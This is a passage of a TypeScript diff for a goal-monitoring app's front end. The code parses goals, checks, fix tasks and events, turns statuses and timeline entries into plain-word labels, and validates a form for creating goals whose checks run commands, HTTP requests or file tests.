+const rec = (v: unknown): Record<string, unknown> => (v && typeof v === 'object' && !Array.isArray(v) ? (v as Record<string, unknown>) : {});
+const s = (v: unknown): string | null => (typeof v === 'string' && v ? v : null);
+/** A time as ISO text. Storage keeps epoch numbers (seconds or ms); the routes may pass them through as is. */
+const time = (v: unknown): string | null => {
+ if (typeof v === 'number' && Number.isFinite(v) && v > 0) {
+ const d = new Date(v < 1e12 ? v * 1000 : v);
+ return Number.isNaN(d.getTime()) ? null : d.toISOString();
+ }
+ return s(v);
+};
+/** `required: false`, or storage's `severity` of optional/advisory, makes a check informational. */
+const isRequired = (c: Record<string, unknown>): boolean => {
+ if (typeof c.required === 'boolean') return c.required;
+ const sev = s(c.severity)?.toLowerCase();
+ return sev !== 'optional' && sev !== 'advisory' && sev !== 'info';
+};
+/** A value as text: numbers too (a target stored as 200 or "200"). */
+const txt = (v: unknown): string | null => (typeof v === 'number' && Number.isFinite(v) ? String(v) : typeof v === 'string' && v.trim() ? v : null);
+const byTime = (a: string, b: string): number => (Date.parse(a) || 0) - (Date.parse(b) || 0) || a.localeCompare(b);
+const n = (v: unknown, fallback: number): number => (typeof v === 'number' && Number.isFinite(v) ? v : fallback);
+const MODES: GoalMode[] = ['watch', 'suggest', 'fix'];
+
+function observation(v: unknown): GoalObservation | null {
+ const o = rec(v);
+ const status = s(o.status);
+ if (status !== 'passed' && status !== 'failed' && status !== 'error') return null;
+ const verdict = s(o.verdict);
+ return {
+ id: s(o.id) ?? undefined,
+ status,
+ verdict: verdict === 'met' || verdict === 'not_met' || verdict === 'unknown' ? verdict : status === 'passed' ? 'met' : status === 'failed' ? 'not_met' : 'unknown',
+ excerpt: s(o.excerpt) ?? s(o.output_excerpt),
+ observed_value: txt(o.observed_value),
+ observed_at: time(o.observed_at) ?? time(o.created_at) ?? '',
+ expires_at: time(o.expires_at),
+ };
+}
+
+export function parseCheck(v: unknown): GoalCheck | null {
+ const c = rec(v);
+ const id = s(c.id);
+ const kind = s(c.kind);
+ if (!id || !kind) return null;
+ const spec = typeof c.spec === 'string' ? rec(safeJson(c.spec)) : rec(c.spec);
+ return {
+ id,
+ label: s(c.label) ?? '',
+ kind,
+ spec,
+ metric: s(c.metric),
+ operator: s(c.operator),
+ target: txt(c.target),
+ required: isRequired(c),
+ freshness_minutes: typeof c.freshness_minutes === 'number' ? c.freshness_minutes : null,
+ latest: observation(c.latest ?? c.latest_observation ?? c.observation ?? null),
+ };
+}
+
+function safeJson(t: string): unknown {
+ try {
+ return JSON.parse(t);
+ } catch {
+ return null;
+ }
+}
+
+export function parseFixTask(v: unknown): GoalFixTask | null {
+ const t = rec(v);
+ const id = s(t.id) ?? s(t.task_id);
+ if (!id) return null;
+ return {
+ id,
+ title: s(t.title) ?? 'Fix task',
+ state: s(t.state) ?? 'ready',
+ held: !!(t.held || t.held_at),
+ created_at: time(t.created_at),
+ };
+}
+
+function diagnosisFrom(v: unknown): Pick<GoalMission, 'summary' | 'cause' | 'proposed_fix'> {
+ // A bare string is the whole report (Juno: `diagnosis` is a string, or {summary, cause, proposed_fix}).
+ if (typeof v === 'string') return { summary: s(v), cause: null, proposed_fix: null };
+ const d = rec(v);
+ return {
+ summary: s(d.summary) ?? s(d.investigate_summary) ?? s(d.report),
+ cause: s(d.cause) ?? s(d.likely_cause),
+ proposed_fix: s(d.proposed_fix) ?? s(d.fix),
+ };
+}
+
+export function parseGoalMission(v: unknown): GoalMission | null {
+ const m = rec(v);
+ const id = s(m.mission_id) ?? s(m.id);
+ if (!id) return null;
+ return {
+ id,
+ title: s(m.title) ?? s(m.mission_title) ?? 'Restore mission',
+ status: s(m.status) ?? s(m.mission_status),
+ reason: s(m.reason),
+ attempt: n(m.attempt, 1),
+ opened_at: time(m.opened_at) ?? time(m.created_at),
+ closed_at: time(m.closed_at),
+ outcome: s(m.outcome),
+ run_task_id: s(m.run_task_id) ?? s(m.held_task_id),
+ ...diagnosisFrom(m.diagnosis ?? m),
+ };
+}
+/** Open: not closed, and not a finished mission. */
+/** A goal's own `diagnosis`, or null when there is none. */
+function parseReport(v: unknown): GoalReport | null {
+ const r = diagnosisFrom(v);
+ return r.summary || r.cause || r.proposed_fix ? r : null;
+}
+
+export const isOpenMission = (m: Pick<GoalMission, 'closed_at' | 'status'>) => !m.closed_at && m.status !== 'done' && m.status !== 'cancelled';
+
+const OPEN_TASK_STATES = new Set(['backlog', 'ready', 'working', 'needs_you', 'review', 'blocked']);
+export const isOpenTask = (t: Pick<GoalFixTask, 'state'>) => OPEN_TASK_STATES.has(t.state);
+
+const list = <T>(v: unknown, parse: (x: unknown) => T | null): T[] => (Array.isArray(v) ? v.map(parse).filter((x): x is T => x !== null) : []);
+
+export function parseGoal(v: unknown): Goal | null {
+ const g = rec(v);
+ const id = s(g.id);
+ if (!id) return null;
+ const mode = s(g.mode) as GoalMode | null;
+ const fixTasks = list(g.fix_tasks, parseFixTask);
+ const open = parseFixTask(g.open_fix_task) ?? fixTasks.find(isOpenTask) ?? null;
+ const spent = g.spent_tokens ?? g.tokens_spent ?? g.fix_spent_tokens;
+ const missions = list(g.missions, parseGoalMission);
+ const mission = parseGoalMission(g.open_mission) ?? missions.find(isOpenMission) ?? null;
+ const prio = n(g.priority, 2);
+ return {
+ id,
+ space_id: s(g.space_id),
+ title: s(g.title) ?? 'Untitled goal',
+ description: s(g.description) ?? '',
+ kwant_id: s(g.kwant_id),
+ folder: s(g.folder),
+ status: s(g.status) ?? 'unknown',
+ status_reason: s(g.status_reason),
+ // The list sends `waiting_for` only on the detail read; on a list row `status_reason` is that goal's id (Juno, 21:33).
+ waiting_for: s(g.waiting_for) ?? (s(g.status) === 'waiting' ? s(g.status_reason) : null),
+ waiting_title: s(g.waiting_title),
+ diagnosis: parseReport(g.diagnosis),
+ has_mission_info: 'open_mission' in g,
+ priority: prio >= 1 && prio <= 3 ? Math.round(prio) : 2,
+ mode: mode && MODES.includes(mode) ? mode : 'suggest',
+ interval_minutes: n(g.interval_minutes, 60),
+ confirm_failures: n(g.confirm_failures, 2),
+ budget_tokens: n(g.budget_tokens, 0),
+ max_fixes_per_day: n(g.max_fixes_per_day, 3),
+ created_by: s(g.created_by),
+ approved_by: s(g.approved_by),
+ approved_at: time(g.approved_at),
+ paused_at: time(g.paused_at),
+ next_check_at: time(g.next_check_at),
+ last_checked_at: time(g.last_checked_at),
+ checking_since: time(g.checking_since),
+ fail_streak: n(g.fail_streak, 0),
+ version: n(g.version, 0),
+ created_at: time(g.created_at) ?? '',
+ updated_at: time(g.updated_at) ?? time(g.created_at) ?? '',
+ checks: list(g.checks, parseCheck),
+ open_fix_task: open && isOpenTask(open) ? open : null,
+ open_mission: mission && isOpenMission(mission) ? mission : null,
+ spent_tokens: typeof spent === 'number' ? spent : null,
+ };
+}
+
+function parseEvent(v: unknown): GoalEvent | null {
+ const e = rec(v);
+ // The server's goal event ids are integers ("id": 6); older shapes send strings.
+ const id = typeof e.id === 'number' && Number.isFinite(e.id) ? String(e.id) : s(e.id);
+ const kind = s(e.kind);
+ if (!id || !kind) return null;
+ const detail = typeof e.detail === 'string' ? rec(safeJson(e.detail)) : rec(e.detail);
+ return { id, kind, actor: s(e.actor) ?? 'kwant', detail, created_at: time(e.created_at) ?? '' };
+}
+
+/** GET /api/goals/:id: the goal (flat or under `goal`), its checks with their latest observation, events, fix tasks, tokens spent. */
+export function parseGoalDetail(v: unknown): GoalDetail | null {
+ const r = rec(v);
+ const goal = parseGoal(r.goal ?? r);
+ if (!goal) return null;
+ const checks = list(r.checks, parseCheck);
+ const fix = list(r.fix_tasks ?? r.tasks, parseFixTask);
+ const missions = list(r.missions, parseGoalMission).sort((a, b) => b.attempt - a.attempt || byTime(b.opened_at ?? '', a.opened_at ?? ''));
+ const spent = r.spent_tokens ?? r.tokens_spent ?? goal.spent_tokens ?? 0;
+ const events = list(r.events, parseEvent).sort((a, b) => byTime(a.created_at, b.created_at));
+ const allChecks = checks.length ? checks : goal.checks;
+ return {
+ goal: {
+ ...goal,
+ checks: allChecks,
+ open_fix_task: goal.open_fix_task ?? fix.find(isOpenTask) ?? null,
+ open_mission: missions.find(isOpenMission) ?? goal.open_mission,
+ spent_tokens: typeof spent === 'number' ? spent : null,
+ has_mission_info: true,
+ },
+ checks: allChecks,
+ events,
+ fix_tasks: fix,
+ missions,
+ spent_tokens: typeof spent === 'number' ? spent : 0,
+ };
+}
+
+export function parseGoalList(v: unknown): Goal[] {
+ const r = Array.isArray(v) ? v : rec(v).goals;
+ return list(r, parseGoal);
+}
+
+// ---------------------------------------------------------------------------
+// Words
+
+export interface StatusLook {
+ label: string;
+ tone: Tone;
+ /** Which icon the pill draws; Unknown has its own, never the Met tick. */
+ icon: 'met' | 'not_met' | 'fixing' | 'unknown' | 'needs_you' | 'paused' | 'draft' | 'checking' | 'waiting';
+ hint: string;
+}
+
+export const GOAL_STATUS: Record<GoalStatus, StatusLook> = {
+ met: { label: 'OK', tone: 'emerald', icon: 'met', hint: 'Every required check passed.' },
+ not_met: { label: 'Failing', tone: 'rose', icon: 'not_met', hint: 'A required check kept failing.' },
+ fixing: { label: 'Fixing', tone: 'violet', icon: 'fixing', hint: 'A fix is open for it.' },
+ unknown: { label: 'Can’t check', tone: 'zinc', icon: 'unknown', hint: 'Can’t tell yet: a check couldn’t run, is out of date, or hasn’t run.' },
+ needs_you: { label: 'Needs you', tone: 'amber', icon: 'needs_you', hint: 'The bot stopped fixing it and waits for you.' },
+ paused: { label: 'Paused', tone: 'zinc', icon: 'paused', hint: 'Not checked until you resume it.' },
+ draft: { label: 'Draft', tone: 'sky', icon: 'draft', hint: 'A bot proposed it. Nothing runs until you approve it.' },
+ checking: { label: 'Checking', tone: 'sky', icon: 'checking', hint: 'Its checks are running now.' },
+ waiting: { label: 'Waiting', tone: 'zinc', icon: 'waiting', hint: 'Another goal’s fix in the same folder goes first.' },
+};
+
+/** Anything the server sends that this build doesn't know reads as Unknown, never as Met. */
+export const goalStatusLook = (status: string): StatusLook => GOAL_STATUS[status as GoalStatus] ?? GOAL_STATUS.unknown;
+
+export const MODE_OPTIONS: { value: GoalMode; label: string; hint: string }[] = [
+ { value: 'watch', label: 'Just tell me', hint: 'You hear about it. Nothing else runs.' },
+ { value: 'suggest', label: 'Suggest a fix', hint: 'A fix is planned and waits for your Run.' },
+ { value: 'fix', label: 'Fix it', hint: 'The bot looks into it and fixes it. The checks confirm the fix.' },
+];
+export const modeLabel = (m: string) => MODE_OPTIONS.find((o) => o.value === m)?.label ?? humanize(m);
+
+export const PRIORITY_OPTIONS: { value: number; label: string }[] = [
+ { value: 1, label: 'High' },
+ { value: 2, label: 'Normal' },
+ { value: 3, label: 'Low' },
+];
+export const priorityLabel = (p: number) => PRIORITY_OPTIONS.find((o) => o.value === p)?.label ?? 'Normal';
+
+export const INTERVAL_MIN = 15;
+export const INTERVAL_MAX = 1440;
+export const INTERVALS = [15, 30, 60, 120, 240, 360, 720, 1440];
+
+export function intervalLabel(m: number): string {
+ if (m >= 1440 && m % 1440 === 0) return m === 1440 ? '1 day' : `${m / 1440} days`;
+ if (m >= 60 && m % 60 === 0) return m === 60 ? '1 hour' : `${m / 60} hours`;
+ return `${m} min`;
+}
+
+/** The options for "Check every", keeping a draft's own value even when it isn't a preset. */
+export function intervalOptions(current?: number): number[] {
+ const out = [...INTERVALS];
+ if (current && !out.includes(current) && current >= INTERVAL_MIN && current <= INTERVAL_MAX) out.push(current);
+ return out.sort((a, b) => a - b);
+}
+
+export const GOAL_CHECK_KINDS: GoalCheckKind[] = ['command', 'http', 'file_exists', 'file_contains', 'file_sha256'];
+
+/** One check, in one line: what it looks at. */
+export const goalCheckTarget = (c: Pick<GoalCheck, 'kind' | 'spec'>) => checkTarget({ kind: c.kind as GoalCheckKind, spec: c.spec });
+export const goalCheckName = (c: Pick<GoalCheck, 'label' | 'kind' | 'spec'>) => c.label.trim() || goalCheckTarget(c) || checkKindLabel(c.kind);
+
+// The typed predicates (plan v2 B.1): which metrics each kind has, and the operators each metric takes.
+export const METRICS: Record<'http' | 'command', { value: string; label: string; operators: GoalOperator[]; unit?: string; textTarget?: boolean }[]> = {
+ http: [
+ { value: 'status', label: 'HTTP status', operators: ['eq', 'ne'] },
+ { value: 'latency_ms', label: 'Response time', operators: ['lt', 'lte'], unit: 'ms' },
+ { value: 'body_contains', label: 'Page shows', operators: [], textTarget: true },
+ { value: 'json_value', label: 'JSON value', operators: ['eq', 'ne', 'lt', 'lte', 'gt', 'gte', 'contains'] },
+ ],
+ command: [
+ { value: 'exit_code', label: 'Exit code', operators: ['eq'] },
+ { value: 'stdout_contains', label: 'Output shows', operators: [], textTarget: true },
+ { value: 'stdout_number', label: 'Number in output', operators: ['eq', 'ne', 'lt', 'lte', 'gt', 'gte'] },
+ ],
+};
+export const metricInfo = (kind: string, metric: string | null) => (kind === 'http' || kind === 'command' ? METRICS[kind].find((m) => m.value === metric) ?? null : null);
+
+export const OPERATOR_SIGN: Record<GoalOperator, string> = { eq: '=', ne: '≠', lt: '<', lte: '≤', gt: '>', gte: '≥', contains: 'contains' };
+export const OPERATOR_WORDS: Record<GoalOperator, string> = { eq: 'is', ne: 'is not', lt: 'is under', lte: 'is at most', gt: 'is over', gte: 'is at least', contains: 'contains' };
+
+/**
+ * What the check wants, in one line: "HTTP status = 200", "Response time < 500 ms", "Page shows “ok”",
+ * "Exit code = 0". A check without a typed predicate reads as its kind's default.
+ */
+export function checkDesired(c: Pick<GoalCheck, 'kind' | 'spec' | 'metric' | 'operator' | 'target'>): string {
+ const sp = c.spec ?? {};
+ const str = (k: string) => (typeof sp[k] === 'string' && (sp[k] as string).trim() ? (sp[k] as string) : null);
+ const sign = (op: string | null, fallback: GoalOperator) => OPERATOR_SIGN[(op as GoalOperator) ?? fallback] ?? op ?? OPERATOR_SIGN[fallback];
+ const target = c.target ?? '';
+ switch (c.kind) {
+ case 'http': {
+ const m = c.metric ?? 'status';
+ if (m === 'status') return `HTTP status ${sign(c.operator, 'eq')} ${c.target ?? (typeof sp.expect_status === 'number' ? sp.expect_status : 200)}`;
+ if (m === 'latency_ms') return `Response time ${sign(c.operator, 'lt')} ${target} ms`;
+ if (m === 'body_contains') return `Page shows “${c.target ?? str('contains') ?? ''}”`;
+ if (m === 'json_value') return `JSON ${str('pointer') ?? str('json_pointer') ?? 'value'} ${sign(c.operator, 'eq')} ${target}`;
+ return `${humanize(m)} ${sign(c.operator, 'eq')} ${target}`.trim();
+ }
+ case 'command': {
+ const m = c.metric ?? 'exit_code';
+ if (m === 'exit_code') return `Exit code ${sign(c.operator, 'eq')} ${c.target ?? 0}`;
+ if (m === 'stdout_contains') return `Output shows “${target}”`;
+ if (m === 'stdout_number') return `Number in output ${sign(c.operator, 'eq')} ${target}`;
+ return `${humanize(m)} ${sign(c.operator, 'eq')} ${target}`.trim();
+ }
+ case 'file_exists':
+ return 'File exists';
+ case 'file_contains':
+ return `File has “${str('text') ?? ''}”`;
+ case 'file_sha256':
+ return 'File matches its fingerprint';
+ default:
+ return checkKindLabel(c.kind);
+ }
+}
+
+/** What the last run saw, as text: "503", "1240 ms", "not found". Null when the run reported no value. */
+export function checkObserved(c: Pick<GoalCheck, 'kind' | 'metric' | 'latest'>): string | null {
+ const v = c.latest?.observed_value;
+ if (!v) return null;
+ const unit = metricInfo(c.kind, c.metric)?.unit;
+ return unit && /^-?\d+(\.\d+)?$/.test(v) ? `${v} ${unit}` : v;
+}
+
+export interface CheckLook {
+ label: string;
+ tone: Tone;
+ verdict: Verdict;
+}
+
+/**
+ * A check's last result. A newest observation older than its freshness window is Unknown ("Out of date"),
+ * and so is one that never ran or couldn't run.
+ */
+export function checkLook(c: Pick<GoalCheck, 'latest' | 'freshness_minutes'>, intervalMinutes: number, now: number = Date.now()): CheckLook {
+ const o = c.latest;
+ if (!o) return { label: 'Not checked yet', tone: 'zinc', verdict: 'unknown' };
+ const fresh = (c.freshness_minutes ?? intervalMinutes * 2) * 60_000;
+ const at = Date.parse(o.observed_at);
+ const expires = o.expires_at ? Date.parse(o.expires_at) : NaN;
+ if ((!Number.isNaN(at) && now - at > fresh) || (!Number.isNaN(expires) && now > expires)) return { label: 'Out of date', tone: 'zinc', verdict: 'unknown' };
+ if (o.status === 'passed') return { label: 'Passed', tone: 'emerald', verdict: 'met' };
+ if (o.status === 'failed') return { label: 'Failed', tone: 'rose', verdict: 'not_met' };
+ return { label: 'Couldn’t run', tone: 'amber', verdict: 'unknown' };
+}
+
+/**
+ * The status the strip draws. A Met whose required checks aren't all fresh passes reads Unknown, so Met is
+ * never shown on out-of-date or missing results, whatever the last stored status says.
+ */
+export function shownStatus(g: Pick<Goal, 'status' | 'checks' | 'interval_minutes'>, now: number = Date.now()): string {
+ if (g.status !== 'met') return g.status;
+ const required = g.checks.filter((c) => c.required);
+ return required.some((c) => checkLook(c, g.interval_minutes, now).verdict !== 'met') ? 'unknown' : 'met';
+}
+
+/** "Checked 12 min ago · next in 48 min", or why there's no next check. */
+export function scheduleText(g: Pick<Goal, 'status' | 'last_checked_at' | 'next_check_at' | 'checking_since'>, now: number = Date.now()): string {
+ const parts: string[] = [];
+ if (g.status === 'checking' || g.checking_since) parts.push('Checking now');
+ else if (g.last_checked_at) parts.push(`Checked ${ago(g.last_checked_at, now)}`);
+ else if (g.status !== 'draft') parts.push('Not checked yet');
+ if (g.status === 'draft') parts.push('Runs only after you approve it');
+ else if (g.status === 'paused') parts.push('Paused, no checks until you resume');
+ else if (g.next_check_at && !(g.status === 'checking' || g.checking_since)) {
+ const u = untilText(g.next_check_at, now);
+ parts.push(u === 'now' ? 'next check due now' : `next ${u}`);
+ }
+ return parts.join(' · ');
+}
+
+export const spentText = (t: number | null | undefined): string | null => (typeof t === 'number' && t > 0 ? `${formatTokens(t)} tokens spent on fixes` : null);
+
+const NEEDS_YOU_REASONS: Record<string, string> = {
+ budget: 'its token budget is spent',
+ budget_spent: 'its token budget is spent',
+ max_fixes: 'it hit its fixes for today',
+ max_fixes_per_day: 'it hit its fixes for today',
+ fix_failed: 'the fix didn’t work',
+ max_attempts: 'the fixes so far didn’t bring it back',
+ conflict: 'fixing another goal broke it, so nothing runs on its own',
+ declined: 'you chose Not now',
+ fix_ready: 'a fix is ready for your OK',
+ unknown_24h: 'it couldn’t be checked for a day',
+};
+
+/** "Needs you: <why>" from a reason code, or the server's own words when it sends text. */
+export function needsYouText(reason: string | null | undefined): string {
+ const r = (reason ?? '').trim();
+ if (!r) return 'Needs you';
+ const known = NEEDS_YOU_REASONS[r.toLowerCase()];
+ if (known) return `Needs you: ${known}`;
+ return /^[a-z0-9_]+$/.test(r) ? `Needs you: ${humanize(r).toLowerCase()}` : `Needs you: ${r}`;
+}
+
+const who = (actor: string, names: Record<string, string>): string => {
+ if (actor === 'person') return 'You';
+ if (actor === 'kwant' || actor === 'system' || actor === 'scheduler') return 'The app';
+ return names[actor] ?? 'A bot';
+};
+
+/** One line of the goal's timeline, in plain words. Quoted bot reports come back separately from goalEventQuote. */
+export function goalEventText(e: Pick<GoalEvent, 'kind' | 'actor' | 'detail'>, names: Record<string, string> = {}): string {
+ const d = e.detail ?? {};
+ const label = s(d.check_label) ?? s(d.label);
+ const title = s(d.task_title) ?? s(d.title);
+ switch (e.kind) {
+ case 'created':
+ return e.actor === 'person' ? 'You created this goal' : `${who(e.actor, names)} proposed this goal`;
+ case 'approved':
+ return `${who(e.actor, names)} approved it`;
+ case 'checked': {
+ const v = s(d.verdict);
+ const passed = typeof d.passed === 'number' ? d.passed : null;
+ const total = typeof d.total === 'number' ? d.total : null;
+ const count = passed !== null && total !== null ? `, ${passed} of ${total} passed` : '';
+ return v === 'met' ? `Checked: OK${count}` : v === 'not_met' ? `Checked: failing${count}` : v ? `Checked: couldn’t tell${count}` : `Checked${count}`;
+ }
+ case 'not_met': {
+ const times = typeof d.fail_streak === 'number' && d.fail_streak > 1 ? ` ${d.fail_streak} times in a row` : '';
+ const seen = txt(d.observed_value);
+ return label ? `Broke: “${label}” failed${times}${seen ? ` (observed ${seen})` : ''}` : 'Broke';
+ }
+ case 'met':
+ return 'OK again';
+ case 'mission_opened':
+ return title ? `Fix work opened: ${title}` : 'Fix work opened';
+ case 'investigated':
+ return `${actorOr(e.actor, names, 'The bot')} looked into it`;
+ case 'fix_approved':
+ return `${who(e.actor, names)} said fix it`;
+ case 'fix_opened':
+ return title ? `Fix task opened: ${title}` : 'Fix task opened';
+ case 'fix_verified':
+ return 'Fix verified: the checks pass again';
+ case 'fix_failed':
+ return 'The fix didn’t work';
+ case 'replanned': {
+ const n = typeof d.attempt === 'number' ? d.attempt : Number(txt(d.attempt));
+ return Number.isFinite(n) && n > 1 ? `Trying another fix (attempt ${n})` : 'Trying another fix';
+ }
+ case 'conflict': {
+ const other = s(d.goal_title) ?? s(d.other_title);
+ return other ? `Fixing “${other}” broke this goal` : 'Fixing another goal broke this one';
+ }
+ case 'waiting': {
+ const other = s(d.waiting_title) ?? s(d.goal_title);
+ return other ? `Waiting for “${other}” to finish its fix` : 'Waiting for another fix in the same folder';
+ }
+ case 'withdrawn':
+ case 'not_needed':
+ return 'OK again before the fix ran, so the fix was withdrawn';
+ case 'needs_you':
+ return needsYouText(s(d.reason));
+ case 'paused':
+ return `${who(e.actor, names)} paused it`;
+ case 'resumed':
+ return `${who(e.actor, names)} resumed it`;
+ case 'edited':
+ return `${who(e.actor, names)} edited it`;
+ default:
+ return humanize(e.kind);
+ }
+}
+
+const actorOr = (actor: string, names: Record<string, string>, fallback: string) => (names[actor] ? names[actor] : fallback);
+
+/** A bot's report quoted under its timeline line (investigate summary, failure excerpt). Untrusted text: show it as text only. */
+export function goalEventQuote(e: Pick<GoalEvent, 'kind' | 'detail'>): string | null {
+ const d = e.detail ?? {};
+ if (e.kind === 'investigated') return s(d.summary) ?? s(d.report) ?? null;
+ if (e.kind === 'replanned' || e.kind === 'fix_failed') return s(d.excerpt) ?? s(d.reason) ?? null;
+ return null;
+}
+
+export const eventTaskId = (e: Pick<GoalEvent, 'detail'>): string | null => s(e.detail?.task_id);
+
+export type EventTone = 'good' | 'bad' | 'warn' | 'plain';
+export function goalEventTone(kind: string): EventTone {
+ if (kind === 'met' || kind === 'fix_verified' || kind === 'withdrawn' || kind === 'not_needed') return 'good';
+ if (kind === 'not_met' || kind === 'fix_failed' || kind === 'conflict') return 'bad';
+ if (kind === 'needs_you' || kind === 'replanned') return 'warn';
+ return 'plain';
+}
+
+// ---------------------------------------------------------------------------
+// The New goal form
+
+export interface CheckFormRow {
+ key: string;
+ label: string;
+ kind: GoalCheckKind;
+ command: string;
+ url: string;
+ path: string;
+ text: string;
+ sha256: string;
+ /** http and command only: the typed predicate. */
+ metric: string;
+ operator: GoalOperator | '';
+ target: string;
+ /** json_value: where the value sits, as a JSON pointer like /status. */
+ pointer: string;
+ required: boolean;
+}
+
+/** The metric a kind starts on, with its default (plan v2 B.1: http status = 200, exit code = 0). */
+export function defaultPredicate(kind: GoalCheckKind, metric?: string): Pick<CheckFormRow, 'metric' | 'operator' | 'target'> {
+ if (kind !== 'http' && kind !== 'command') return { metric: '', operator: '', target: '' };
+ const m = metricInfo(kind, metric ?? null) ?? METRICS[kind][0];
+ if (m.value === 'status') return { metric: 'status', operator: 'eq', target: '200' };
+ if (m.value === 'exit_code') return { metric: 'exit_code', operator: 'eq', target: '0' };
+ return { metric: m.value, operator: m.operators[0] ?? '', target: '' };
+}
+
+let rowSeq = 0;
+export function emptyCheckRow(kind: GoalCheckKind = 'http'): CheckFormRow {
+ rowSeq += 1;
+ return { key: `c${rowSeq}`, label: '', kind, command: '', url: '', path: '', text: '', sha256: '', pointer: '', required: true, ...defaultPredicate(kind) };
+}
+
+/** Switch a row to another kind or metric, keeping what was typed where it still applies. */
+export function withKind(r: CheckFormRow, kind: GoalCheckKind): CheckFormRow {
+ return kind === r.kind ? r : { ...r, kind, ...defaultPredicate(kind) };
+}
+export function withMetric(r: CheckFormRow, metric: string): CheckFormRow {
+ return metric === r.metric ? r : { ...r, ...defaultPredicate(r.kind, metric) };
+}
+
+export function checkRowFrom(c: Pick<GoalCheck, 'label' | 'kind' | 'spec' | 'required' | 'metric' | 'operator' | 'target'>): CheckFormRow {
+ const sp = c.spec ?? {};
+ const str = (k: string) => (typeof sp[k] === 'string' ? (sp[k] as string) : '');
+ const kind = (GOAL_CHECK_KINDS as string[]).includes(c.kind) ? (c.kind as GoalCheckKind) : 'command';
+ const row: CheckFormRow = {
+ ...emptyCheckRow(kind),
+ label: c.label,
+ command: str('command'),
+ url: str('url'),
+ path: str('path'),
+ text: str('text'),
+ sha256: str('sha256'),
+ pointer: str('pointer') || str('json_pointer'),
+ required: c.required,
+ };
+ if (kind !== 'http' && kind !== 'command') return row;
+ const info = metricInfo(kind, c.metric);
+ if (info) {
+ const op = (c.operator && (info.operators as string[]).includes(c.operator) ? c.operator : info.operators[0] ?? '') as GoalOperator | '';
+ return { ...row, metric: info.value, operator: op, target: c.target ?? defaultPredicate(kind, info.value).target };
+ }
+ // A check from before typed predicates: read its old spec fields.
+ if (kind === 'http' && str('contains') && sp.expect_status === undefined) return { ...row, metric: 'body_contains', operator: '', target: str('contains') };
+ if (kind === 'http' && typeof sp.expect_status === 'number') return { ...row, metric: 'status', operator: 'eq', target: String(sp.expect_status) };
+ return row;
+}
+
+const NUMBER = /^-?\d+(\.\d+)?$/;
+
+/** Plain-word problem with one check row, or null when it's fine. */
+export function checkRowError(r: CheckFormRow): string | null {
+ const target = r.target.trim();
+ switch (r.kind) {
+ case 'command': {
+ if (!r.command.trim()) return 'Type the command to run.';
+ if (r.metric === 'exit_code' && !/^-?\d+$/.test(target)) return 'The exit code is a whole number, like 0.';
+ if (r.metric === 'stdout_contains' && !target) return 'Type the text the output should show.';
+ if (r.metric === 'stdout_number' && !NUMBER.test(target)) return 'Type the number to compare with, like 10.';
+ return null;
+ }
+ case 'http': {
+ const u = r.url.trim();
+ if (!u) return 'Type the web address to open.';
+ if (!/^https?:\/\/\S+$/i.test(u)) return 'The address should start with http:// or https://.';
+ if (r.metric === 'status' && !(/^\d{3}$/.test(target) && Number(target) >= 100 && Number(target) <= 599)) return 'The HTTP status is a number from 100 to 599, like 200.';
+ if (r.metric === 'latency_ms' && !(/^\d+$/.test(target) && Number(target) > 0)) return 'Type the time limit in milliseconds, like 500.';
+ if (r.metric === 'body_contains' && !target) return 'Type the text the page should show.';
+ if (r.metric === 'json_value') {
+ if (!/^\/\S*$/.test(r.pointer.trim())) return 'Say where the value is, starting with /, like /status.';
+ if (!target) return 'Type the value to compare with.';
+ if (['lt', 'lte', 'gt', 'gte'].includes(r.operator) && !NUMBER.test(target)) return 'Compare a number with a number, like 3.';
+ }
+ return null;
+ }
+ case 'file_exists':
+ return r.path.trim() ? null : 'Type the file’s path in the bot’s folder.';
+ case 'file_contains':
+ if (!r.path.trim()) return 'Type the file’s path in the bot’s folder.';
+ return r.text.trim() ? null : 'Type the text the file should contain.';
+ case 'file_sha256':
+ if (!r.path.trim()) return 'Type the file’s path in the bot’s folder.';
+ return /^[0-9a-f]{64}$/i.test(r.sha256.trim()) ? null : 'A fingerprint is 64 letters and digits (0–9 and a–f).';
+ default:
+ return 'Pick what kind of check this is.';
+ }
+}
+
+export function checkRowToDraft(r: CheckFormRow): GoalCheckDraft {
+ const spec: Record<string, unknown> = {};
+ let typed = false;
+ switch (r.kind) {
+ case 'command':
+ spec.command = r.command.trim();
+ typed = true;
+ break;
+ case 'http':
+ spec.url = r.url.trim();
+ if (r.metric === 'json_value') spec.pointer = r.pointer.trim();
+ typed = true;
+ break;
+ case 'file_exists':
+ spec.path = r.path.trim();
+ break;
+ case 'file_contains':
+ spec.path = r.path.trim();
+ spec.text = r.text;
+ break;
+ case 'file_sha256':
+ spec.path = r.path.trim();
+ spec.sha256 = r.sha256.trim().toLowerCase();
+ break;
+ }
+ const info = typed ? metricInfo(r.kind, r.metric) : null;
+ const draft: GoalCheckDraft = {
+ label: r.label.trim(),
+ kind: r.kind,
+ spec,
+ metric: info ? info.value : null,
+ operator: info && info.operators.length ? ((r.operator || info.operators[0]) as GoalOperator) : null,
+ target: info ? (info.textTarget ? r.target : r.target.trim()) : null,
+ severity: r.required ? 'required' : 'advisory',
+ };
+ return { ...draft, label: draft.label || (info ? checkDesired(draft) : goalCheckTarget(draft)).slice(0, 80) };
+}
+
+export const MAX_CHECKS = 10;
+export const MAX_TITLE = 120;
+
+export interface GoalFormState {
+ title: string;
+ description: string;
+ kwantId: string;
+ interval: number;
+ mode: GoalMode;
+ priority: number;
+ /** Failed runs in a row before it counts as broken. */
+ confirmFailures: number;
+ /** Tokens its fixes may spend; blank is no limit. */
+ budget: string;
+ checks: CheckFormRow[];
+}
+
+/** The server's defaults (goals-api): what "More options" starts on. */
+export const GOAL_DEFAULTS = { interval: 60, mode: 'suggest' as GoalMode, priority: 2, confirmFailures: 2, budget: '' };
+
+export type GoalFormErrors = Partial<Record<'title' | 'kwantId' | 'checks' | 'budget', string>> & { rows?: Record<string, string> };
+
+/** Every problem in the form, in plain words; empty when it can be saved. */
+export function goalFormErrors(f: GoalFormState): GoalFormErrors {
+ const e: GoalFormErrors = {};
+ const t = f.title.trim();
+ if (!t) e.title = 'Give the goal a short name.';
+ else if (t.length > MAX_TITLE) e.title = `Keep the name under ${MAX_TITLE} characters.`;
+ if (f.mode !== 'watch' && !f.kwantId) e.kwantId = 'Pick the bot that fixes it, or choose Just tell me.';
+ if (f.checks.length === 0) e.checks = 'Add at least one check, so there’s something to look at.';
+ else if (f.checks.length > MAX_CHECKS) e.checks = `A goal can have up to ${MAX_CHECKS} checks.`;
